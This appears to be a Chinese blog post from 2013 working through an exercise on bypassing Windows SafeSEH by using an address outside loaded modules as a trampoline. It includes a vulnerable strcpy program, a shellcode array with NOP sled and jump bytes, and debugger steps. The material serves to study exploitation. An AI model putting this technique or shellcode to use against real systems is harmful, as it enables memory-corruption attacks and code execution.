利用加载模块之外的地址绕过SafeSEH
2013-09-12 12:04
295 查看
/* XP SP3 VS2008 SafeSEH 保护 利用程序的 map状态的的映射文件 把它当成跳板 跳向我们的shellcode执行 */ #include <stdafx.h> #include <windows.h> char shellcode[]= "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53" "\x68\x64\x61\x30\x23" "\x68\x23\x50\x61\x6E" "\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168 "\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90" "\xE9\x29\xFF\xFF\xFF\x90\x90\x90\xEB\xF6" "\x0B\x0B\x28\x00" ; DWORD MyException(void) { printf("There is an exception"); getchar(); return 1; } void test(char * input) { char str[200]; strcpy(str,input); int zero=0; __try { zero=1/zero; } __except(MyException()) { } } int _tmain(int argc, _TCHAR* argv[]) { //__asm int 3 test(shellcode); return 0; }
ctrl+M 可以看到除了 EXE 和DLL模块之外的内存映射(类型为mao) 可以无视 SafeSEH的
下载插件 OllyFindAddr
可以在整个程序内存空间搜索 call/jmp dword ptr[ebp+n]
http://bbs.pediy.com/showthread.php?t=136464
如果SEH是这个地址的话 恰好 可以调到 SEH的下一指针上
我们寻找的地址跳向 -》 SEH下一指针 然后这个指针上 不能直接跳向shellcode
因为直接 EB xxxxxxx 是5字节 会淹没我们的 SEH 那就会失败了
所以只有向上跳8字节 然后再跳向 shellcode起始地址就行了
相关文章推荐
- <Oday安全 11.6利用加载模块之外的地址绕过SafeSEH>一节注记---jmp [ebp+N] (上)
- 利用加载模块之外的地址绕过SafeSEH
- <Oday安全 11.6利用加载模块之外的地址绕过SafeSEH>一节注记---jmp [ebp+N] (下)
- 突破SafeSEH机制之三——利用加载模块之外的地址绕过SafeSEH
- 突破SafeSEH机制之二——利用未启用SafeSEH模块绕过SafeSEH
- 利用未启用SafeSEH模块绕过SafeSEH
- 利用未启用SafeSEH模块绕过SafeSEH
- Winform DataGridView中利用WebClient异步加载显示网络地址的图片
- 利用Adobe Flash Player ActiveX 控件绕过SafeSEH
- 利用反射api来加载模块
- Winform DataGridView中利用WebClient异步加载显示网络地址的图片
- 利用Dojo和JSON建立无限级AJAX动态加载的功能模块树
- Windows模块加载基址与地址计算
- 突破SafeSEH机制之一——利用堆绕过SafeSEH
- webpack模块加载css文件及图片地址
- Windows模块加载基址与地址计算
- 利用Adobe Flash Player ActiveX控件绕过SafeSEH
- 用atos命令来符号化某个特定模块加载地址
- 利用Prism搭建动态加载Silverlight图形模块的模型
- 利用LdrLoadLibrary加载与隐藏DLL (绕过API HOOK LoadLibrary)